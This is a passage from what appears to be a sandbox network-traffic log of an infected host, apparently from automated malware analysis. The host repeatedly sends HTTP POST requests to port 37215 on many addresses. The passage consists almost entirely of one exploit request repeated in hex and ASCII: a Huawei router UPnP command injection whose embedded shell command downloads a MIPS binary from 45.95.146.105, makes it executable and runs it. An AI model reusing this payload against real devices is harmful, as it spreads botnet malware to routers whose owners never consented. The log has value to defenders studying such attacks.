52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:53:22.940587997 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:53:52.892581940 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.13	41390	156.241.88.126	37215

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2024 12:52:55.666022062 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.13	49916	154.194.177.210	37215

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2024 12:52:55.666044950 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:52:59.900608063 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:53:06.044637918 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:53:18.076605082 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:53:42.652589083 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:54:31.804527998 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo 